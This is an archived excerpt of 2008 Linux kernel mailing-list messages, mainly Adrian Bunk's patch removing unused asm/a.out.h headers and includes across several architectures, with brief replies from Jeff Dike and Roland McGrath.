	by c2.user-mode-linux.org (8.14.1/8.13.8) with ESMTP id m5RGReCW008636;
	Fri, 27 Jun 2008 12:27:40 -0400
Original-Received: (from jdike@localhost)
	by c2.user-mode-linux.org (8.14.1/8.14.1/Submit) id m5RGRV3e008635;
	Fri, 27 Jun 2008 12:27:31 -0400
Content-Disposition: inline
In-Reply-To: <20080624114643.GB16021@cs181140183.pp.htv.fi>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:1610 gmane.linux.kernel:699337 gmane.linux.ports.parisc:457 gmane.linux.ports.sh.devel:4085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/457>

On Tue, Jun 24, 2008 at 02:46:43PM +0300, Adrian Bunk wrote:
> I found another similar case:
> 
> X86_32 UML.
> 
> a.out is most likely working there?

Yup, if it works on the host, it'll work in UML.

     	   	 Jeff

-- 
Work email - jdike at linux dot intel dot com

From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Mon, 23 Jun 2008 13:08:51 -0700 (PDT)
Lines: 7
Approved: news@gmane.org
Message-ID: <20080627204953.DA76515427E@magilla.localdomain>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214599884 7609 80.91.229.12 (27 Jun 2008 20:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Jun 2008 20:51:24 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, rmk@arm.linux.org.uk,
	cooloney@kernel.org, dev-etrax@axis.com, dhowells@redhat.com,
	gerg@uclinux.org, yasutake.koichi@jp.panasonic.com,
	linux-parisc@vger.kernel.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-sh@vger.kernel.org,
	chris@zankel.net, linux-mips@linux-mips.org,
	ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jun 27 22:52:07 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCKvA-0003NG-Eh
	for sgi-linux-mips@gmane.org; Fri, 27 Jun 2008 22:51:52 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:58850 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20033146AbYF0Uuz (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Fri, 27 Jun 2008 21:50:55 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 27 Jun 2008 21:50:38 +0100 (BST)
Original-Received: from qmta09.emeryville.ca.mail.comcast.net ([76.96.30.96]:53412 "EHLO
	QMTA09.emeryville.ca.mail.comcast.net") by ftp.linux-mips.org
	with ESMTP id S20033139AbYF0Uub (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 27 Jun 2008 21:50:31 +0100
Original-Received: from OMTA08.emeryville.ca.mail.comcast.net ([76.96.30.12])
	by QMTA09.emeryville.ca.mail.comcast.net with comcast
	id j0bJ1Z0010FhH24A90Na00; Fri, 27 Jun 2008 20:50:25 +0000
Original-Received: from gateway.sf.frob.com ([76.102.158.52])
	by OMTA08.emeryville.ca.mail.comcast.net with comcast
	id j8q31Z00J18718U8U8q5HD; Fri, 27 Jun 2008 20:50:11 +0000
X-Authority-Analysis: v=1.0 c=1 a=f_TSGl8dQXkA:10 a=gn5pNIY5nxUA:10
 a=RYFLW6ebtpNBegQnzZ7X4w==:17 a=iJ7ttKOoKSHTIREEO6wA:9
 a=cdqi69MvmKOUtvyyEcDVvSjcS3QA:4 a=XF7b4UCPwd8A:10
Original-Received: from magilla.localdomain (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 85F6F3705; Fri, 27 Jun 2008 13:49:56 -0700 (PDT)
Original-Received: by magilla.localdomain (Postfix, from userid 5281)
	id DA76515427E; Mon, 23 Jun 2008 13:08:51 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: Adrian Bunk's message of  Monday, 23 June 2008 20:48:09 +0300 <20080623174809.GE4756@cs181140183.pp.htv.fi>
X-Shopping-List: (1) Ingenious competition rice
   (2) Famous persecuters
   (3) Disorienting rectractors
   (4) Ostentatious rectractors
   (5) Prosthetic tape
X-archive-position: 19659
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: roland@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:20698 gmane.linux.kernel:699454 gmane.linux.ports.parisc:458 gmane.linux.ports.ppc64.devel:42835 gmane.linux.ports.sh.devel:4087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/458>

That all looks fine to me, though I won't claim to have paid close
attention to the nits in the various odd archs' files.

Thanks,
Roland



From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [2.6 patch] remove unused asm/a.out.h files
Date: Sat, 28 Jun 2008 00:12:52 +0300
Lines: 567
Approved: news@gmane.org
Message-ID: <20080627211252.GA16545@cs181140183.pp.htv.fi>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1214601327 12563 80.91.229.12 (27 Jun 2008 21:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Jun 2008 21:15:27 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Jun 27 23:16:09 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCLId-0002dD-It
	for glps-linuxsh-dev@gmane.org; Fri, 27 Jun 2008 23:16:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757866AbYF0VPO (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Fri, 27 Jun 2008 17:15:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756379AbYF0VPN
	(ORCPT <rfc822;linux-sh-outgoing>); Fri, 27 Jun 2008 17:15:13 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:53934 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754485AbYF0VPJ (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Fri, 27 Jun 2008 17:15:09 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id 084925BC00C;
	Sat, 28 Jun 2008 00:15:07 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1213696004.26255.960.camel@pmac.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4088 gmane.linux.kernel:699479 gmane.linux.ports.parisc:459 gmane.linux.kernel.cross-arch:1611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/459>

On Tue, Jun 17, 2008 at 10:46:44AM +0100, David Woodhouse wrote:
>...
> I think we can probably get away with removing <asm/a.out.h> from every
> architecture other than Alpha, ARM, m68k and x86,
>...

Patch below.

> dwmw2

cu
Adrian


<--  snip  -->


This patch removes asm/a.out.h from all architectures that do not
provide a.out support.

This patch also includes the required removal of (unused)
#include <asm/a.out.h>'s and #include <linux/a.out.h>'s in the arch/
code for these architectures.

The ppc and v850 architectures that should anyway be removed in 2.6.27 
are not touched by this patch to avoid needless merge conflicts.

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

 arch/cris/arch-v10/boot/tools/build.c   |    1 
 arch/h8300/kernel/process.c             |    1 
 arch/ia64/mm/init.c                     |    1 
 arch/m68knommu/kernel/process.c         |    1 
 arch/m68knommu/kernel/traps.c           |    1 
 arch/mips/kernel/irixelf.c              |    1 
 arch/mips/kernel/process.c              |    1 
 arch/mips/kernel/syscall.c              |    1 
 arch/powerpc/kernel/softemu8xx.c        |    1 
 arch/powerpc/kernel/traps.c             |    1 
 arch/powerpc/platforms/chrp/setup.c     |    1 
 arch/powerpc/platforms/maple/setup.c    |    1 
 arch/powerpc/platforms/powermac/setup.c |    1 
 arch/powerpc/platforms/pseries/setup.c  |    1 
 include/asm-avr32/a.out.h               |   20 -------------
 include/asm-blackfin/a.out.h            |   19 -------------
 include/asm-cris/a.out.h                |   26 -----------------
 include/asm-h8300/a.out.h               |   20 -------------
 include/asm-ia64/a.out.h                |   32 ---------------------
 include/asm-m32r/a.out.h                |   20 -------------
 include/asm-m68knommu/a.out.h           |    1 
 include/asm-mips/a.out.h                |   35 ------------------------
 include/asm-parisc/a.out.h              |   20 -------------
 include/asm-powerpc/a.out.h             |   20 -------------
 include/asm-sh/a.out.h                  |   20 -------------
 include/asm-xtensa/a.out.h              |   29 -------------------
 26 files changed, 276 deletions(-)

9cd72b780be8d25cd2deb99a923030f2fe2aeba4 diff --git a/arch/cris/arch-v10/boot/tools/build.c b/arch/cris/arch-v10/boot/tools/build.c
index 2f9bbb2..c8adef3 100644
--- a/arch/cris/arch-v10/boot/tools/build.c
+++ b/arch/cris/arch-v10/boot/tools/build.c
@@ -30,7 +30,6 @@
 #include <sys/sysmacros.h>
 #include <unistd.h>	/* contains read/write */
 #include <fcntl.h>
-#include <linux/a.out.h>
 #include <errno.h>
 
 #define MINIX_HEADER 32
diff --git a/arch/h8300/kernel/process.c b/arch/h8300/kernel/process.c
index dfbe7ab..a8ef654 100644
--- a/arch/h8300/kernel/process.c
+++ b/arch/h8300/kernel/process.c
@@ -34,7 +34,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/interrupt.h>
 #include <linux/reboot.h>
 #include <linux/fs.h>
diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 200100e..f482a90 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -21,7 +21,6 @@
 #include <linux/bitops.h>
 #include <linux/kexec.h>
 
-#include <asm/a.out.h>
 #include <asm/dma.h>
 #include <asm/ia32.h>
 #include <asm/io.h>
diff --git a/arch/m68knommu/kernel/process.c b/arch/m68knommu/kernel/process.c
index 47502d5..3f2d774 100644
--- a/arch/m68knommu/kernel/process.c
+++ b/arch/m68knommu/kernel/process.c
@@ -25,7 +25,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/interrupt.h>
 #include <linux/reboot.h>
 #include <linux/fs.h>
diff --git a/arch/m68knommu/kernel/traps.c b/arch/m68knommu/kernel/traps.c
index ec9aea6..0157b9d 100644
--- a/arch/m68knommu/kernel/traps.c
+++ b/arch/m68knommu/kernel/traps.c
@@ -22,7 +22,6 @@
 #include <linux/mm.h>
 #include <linux/module.h>
 #include <linux/types.h>
-#include <linux/a.out.h>
 #include <linux/user.h>
 #include <linux/string.h>
 #include <linux/linkage.h>
diff --git a/arch/mips/kernel/irixelf.c b/arch/mips/kernel/irixelf.c
index 469c723..e068a72 100644
--- a/arch/mips/kernel/irixelf.c
+++ b/arch/mips/kernel/irixelf.c
@@ -18,7 +18,6 @@
 #include <linux/sched.h>
 #include <linux/mm.h>
 #include <linux/mman.h>
-#include <linux/a.out.h>
 #include <linux/errno.h>
 #include <linux/init.h>
 #include <linux/signal.h>
diff --git a/arch/mips/kernel/process.c b/arch/mips/kernel/process.c
index 2c09a44..2040fc5 100644
--- a/arch/mips/kernel/process.c
+++ b/arch/mips/kernel/process.c
@@ -22,7 +22,6 @@
 #include <linux/personality.h>
 #include <linux/sys.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/init.h>
 #include <linux/completion.h>
 #include <linux/kallsyms.h>
diff --git a/arch/mips/kernel/syscall.c b/arch/mips/kernel/syscall.c
index af1bdc8..0d2b609 100644
--- a/arch/mips/kernel/syscall.c
+++ b/arch/mips/kernel/syscall.c
@@ -7,7 +7,6 @@
  * Copyright (C) 1999, 2000 Silicon Graphics, Inc.
  * Copyright (C) 2001 MIPS Technologies, Inc.
  */
-#include <linux/a.out.h>
 #include <linux/capability.h>
 #include <linux/errno.h>
 #include <linux/linkage.h>
diff --git a/arch/powerpc/kernel/softemu8xx.c b/arch/powerpc/kernel/softemu8xx.c
index 67d6f68..2489493 100644
--- a/arch/powerpc/kernel/softemu8xx.c
+++ b/arch/powerpc/kernel/softemu8xx.c
@@ -23,7 +23,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/interrupt.h>
 
 #include <asm/pgtable.h>
diff --git a/arch/powerpc/kernel/traps.c b/arch/powerpc/kernel/traps.c
index 4b5b7ff..c7e499e 100644
--- a/arch/powerpc/kernel/traps.c
+++ b/arch/powerpc/kernel/traps.c
@@ -23,7 +23,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/interrupt.h>
 #include <linux/init.h>
 #include <linux/module.h>
diff --git a/arch/powerpc/platforms/chrp/setup.c b/arch/powerpc/platforms/chrp/setup.c
index 116babb..e6b3fac 100644
--- a/arch/powerpc/platforms/chrp/setup.c
+++ b/arch/powerpc/platforms/chrp/setup.c
@@ -17,7 +17,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/tty.h>
 #include <linux/major.h>
 #include <linux/interrupt.h>
diff --git a/arch/powerpc/platforms/maple/setup.c b/arch/powerpc/platforms/maple/setup.c
index 3647147..d4c61c3 100644
--- a/arch/powerpc/platforms/maple/setup.c
+++ b/arch/powerpc/platforms/maple/setup.c
@@ -23,7 +23,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/tty.h>
 #include <linux/string.h>
 #include <linux/delay.h>
diff --git a/arch/powerpc/platforms/powermac/setup.c b/arch/powerpc/platforms/powermac/setup.c
index 00bd016..19c287a 100644
--- a/arch/powerpc/platforms/powermac/setup.c
+++ b/arch/powerpc/platforms/powermac/setup.c
@@ -33,7 +33,6 @@
 #include <linux/ptrace.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/tty.h>
 #include <linux/string.h>
 #include <linux/delay.h>
diff --git a/arch/powerpc/platforms/pseries/setup.c b/arch/powerpc/platforms/pseries/setup.c
index f5d29f5..577efcd 100644
--- a/arch/powerpc/platforms/pseries/setup.c
+++ b/arch/powerpc/platforms/pseries/setup.c
@@ -25,7 +25,6 @@
 #include <linux/unistd.h>
 #include <linux/slab.h>
 #include <linux/user.h>
-#include <linux/a.out.h>
 #include <linux/tty.h>
 #include <linux/major.h>
 #include <linux/interrupt.h>
diff --git a/include/asm-avr32/a.out.h b/include/asm-avr32/a.out.h
deleted file mode 100644
index e46375a..0000000
--- a/include/asm-avr32/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef __ASM_AVR32_A_OUT_H
-#define __ASM_AVR32_A_OUT_H
-
-struct exec
-{
-  unsigned long a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* __ASM_AVR32_A_OUT_H */
diff --git a/include/asm-blackfin/a.out.h b/include/asm-blackfin/a.out.h
deleted file mode 100644
index 6c3d652..0000000
--- a/include/asm-blackfin/a.out.h
+++ /dev/null
@@ -1,19 +0,0 @@
-#ifndef __BFIN_A_OUT_H__
-#define __BFIN_A_OUT_H__
-
-struct exec {
-	unsigned long a_info;	/* Use macros N_MAGIC, etc for access */
-	unsigned a_text;	/* length of text, in bytes */
-	unsigned a_data;	/* length of data, in bytes */
-	unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-	unsigned a_syms;	/* length of symbol table data in file, in bytes */
-	unsigned a_entry;	/* start address */
-	unsigned a_trsize;	/* length of relocation info for text, in bytes */
-	unsigned a_drsize;	/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif				/* __BFIN_A_OUT_H__ */
diff --git a/include/asm-cris/a.out.h b/include/asm-cris/a.out.h
deleted file mode 100644
index c82e9f9..0000000
--- a/include/asm-cris/a.out.h
+++ /dev/null
@@ -1,26 +0,0 @@
-#ifndef __CRIS_A_OUT_H__
-#define __CRIS_A_OUT_H__
-
-/* we don't support a.out binaries on Linux/CRIS anyway, so this is
- * not really used but still needed because binfmt_elf.c for some reason
- * wants to know about a.out even if there is no interpreter available...
- */
-
-struct exec
-{
-  unsigned long a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif
diff --git a/include/asm-h8300/a.out.h b/include/asm-h8300/a.out.h
deleted file mode 100644
index ded780f..0000000
--- a/include/asm-h8300/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef __H8300_A_OUT_H__
-#define __H8300_A_OUT_H__
-
-struct exec
-{
-  unsigned long a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* __H8300_A_OUT_H__ */
diff --git a/include/asm-ia64/a.out.h b/include/asm-ia64/a.out.h
deleted file mode 100644
index 193dcfb..0000000
--- a/include/asm-ia64/a.out.h
+++ /dev/null
@@ -1,32 +0,0 @@
-#ifndef _ASM_IA64_A_OUT_H
-#define _ASM_IA64_A_OUT_H
-
-/*
- * No a.out format has been (or should be) defined so this file is
- * just a dummy that allows us to get binfmt_elf compiled.  It
- * probably would be better to clean up binfmt_elf.c so it does not
- * necessarily depend on there being a.out support.
- *
- * Modified 1998-2002
- *	David Mosberger-Tang <davidm@hpl.hp.com>, Hewlett-Packard Co.
- */
-
-#include <linux/types.h>
-
-struct exec {
-	unsigned long a_info;
-	unsigned long a_text;
-	unsigned long a_data;
-	unsigned long a_bss;
-	unsigned long a_entry;
-};
-
-#define N_TXTADDR(x)	0
-#define N_DATADDR(x)	0
-#define N_BSSADDR(x)	0
-#define N_DRSIZE(x)	0
-#define N_TRSIZE(x)	0
-#define N_SYMSIZE(x)	0
-#define N_TXTOFF(x)	0
-
-#endif /* _ASM_IA64_A_OUT_H */
diff --git a/include/asm-m32r/a.out.h b/include/asm-m32r/a.out.h
deleted file mode 100644
index ab150f5..0000000
--- a/include/asm-m32r/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef _ASM_M32R_A_OUT_H
-#define _ASM_M32R_A_OUT_H
-
-struct exec
-{
-  unsigned long a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* _ASM_M32R_A_OUT_H */
diff --git a/include/asm-m68knommu/a.out.h b/include/asm-m68knommu/a.out.h
deleted file mode 100644
index ce18ef9..0000000
--- a/include/asm-m68knommu/a.out.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-m68k/a.out.h>
diff --git a/include/asm-mips/a.out.h b/include/asm-mips/a.out.h
deleted file mode 100644
index cad8371..0000000
--- a/include/asm-mips/a.out.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- *
- * Copyright (C) 1994 - 1999, 2003 by Ralf Baechle
- */
-#ifndef _ASM_A_OUT_H
-#define _ASM_A_OUT_H
-
-#ifdef __KERNEL__
-
-
-#endif
-
-struct exec
-{
-	unsigned long a_info;	/* Use macros N_MAGIC, etc for access */
-	unsigned a_text;	/* length of text, in bytes */
-	unsigned a_data;	/* length of data, in bytes */
-	unsigned a_bss;		/* length of uninitialized data area for
-				    file, in bytes */
-	unsigned a_syms;	/* length of symbol table data in file,
-				   in bytes */
-	unsigned a_entry;	/* start address */
-	unsigned a_trsize;	/* length of relocation info for text, in
-				    bytes */
-	unsigned a_drsize;	/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* _ASM_A_OUT_H */
diff --git a/include/asm-parisc/a.out.h b/include/asm-parisc/a.out.h
deleted file mode 100644
index eb04e34..0000000
--- a/include/asm-parisc/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef __PARISC_A_OUT_H__
-#define __PARISC_A_OUT_H__
-
-struct exec
-{
-  unsigned int a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* __A_OUT_GNU_H__ */
diff --git a/include/asm-powerpc/a.out.h b/include/asm-powerpc/a.out.h
deleted file mode 100644
index 89cead6..0000000
--- a/include/asm-powerpc/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef _ASM_POWERPC_A_OUT_H
-#define _ASM_POWERPC_A_OUT_H
-
-struct exec
-{
-	unsigned long a_info;	/* Use macros N_MAGIC, etc for access */
-	unsigned a_text;	/* length of text, in bytes */
-	unsigned a_data;	/* length of data, in bytes */
-	unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-	unsigned a_syms;	/* length of symbol table data in file, in bytes */
-	unsigned a_entry;	/* start address */
-	unsigned a_trsize;	/* length of relocation info for text, in bytes */
-	unsigned a_drsize;	/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* _ASM_POWERPC_A_OUT_H */
diff --git a/include/asm-sh/a.out.h b/include/asm-sh/a.out.h
deleted file mode 100644
index 1f93130..0000000
--- a/include/asm-sh/a.out.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef __ASM_SH_A_OUT_H
-#define __ASM_SH_A_OUT_H
-
-struct exec
-{
-  unsigned long a_info;		/* Use macros N_MAGIC, etc for access */
-  unsigned a_text;		/* length of text, in bytes */
-  unsigned a_data;		/* length of data, in bytes */
-  unsigned a_bss;		/* length of uninitialized data area for file, in bytes */
-  unsigned a_syms;		/* length of symbol table data in file, in bytes */
-  unsigned a_entry;		/* start address */
-  unsigned a_trsize;		/* length of relocation info for text, in bytes */
-  unsigned a_drsize;		/* length of relocation info for data, in bytes */
-};
-
-#define N_TRSIZE(a)	((a).a_trsize)
-#define N_DRSIZE(a)	((a).a_drsize)
-#define N_SYMSIZE(a)	((a).a_syms)
-
-#endif /* __ASM_SH_A_OUT_H */
diff --git a/include/asm-xtensa/a.out.h b/include/asm-xtensa/a.out.h
deleted file mode 100644
index fdf1370..0000000
--- a/include/asm-xtensa/a.out.h
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * include/asm-xtensa/a.out.h
- *
- * Dummy a.out file. Xtensa does not support the a.out format, but the kernel
- * seems to depend on it.
- *
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- *
- * Copyright (C) 2001 - 2005 Tensilica Inc.
- */
-
-#ifndef _XTENSA_A_OUT_H
-#define _XTENSA_A_OUT_H
-
-struct exec
-{
-  unsigned long a_info;
-  unsigned a_text;
-  unsigned a_data;
-  unsigned a_bss;
-  unsigned a_syms;
-  unsigned a_entry;
-  unsigned a_trsize;
-  unsigned a_drsize;
-};
-
-#endif /* _XTENSA_A_OUT_H */

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH 6/14] arch/parisc: Eliminate NULL test and memset after
	alloc_bootmem
Date: Sat, 28 Jun 2008 11:54:49 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20080628175449.GB12265@colo.lackof.org>
References: <Pine.LNX.4.64.0806241023080.26777@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214675728 9808 80.91.229.12 (28 Jun 2008 17:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Jun 2008 17:55:28 +0000 (UTC)
Cc: akinobu.mita@gmail.com, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
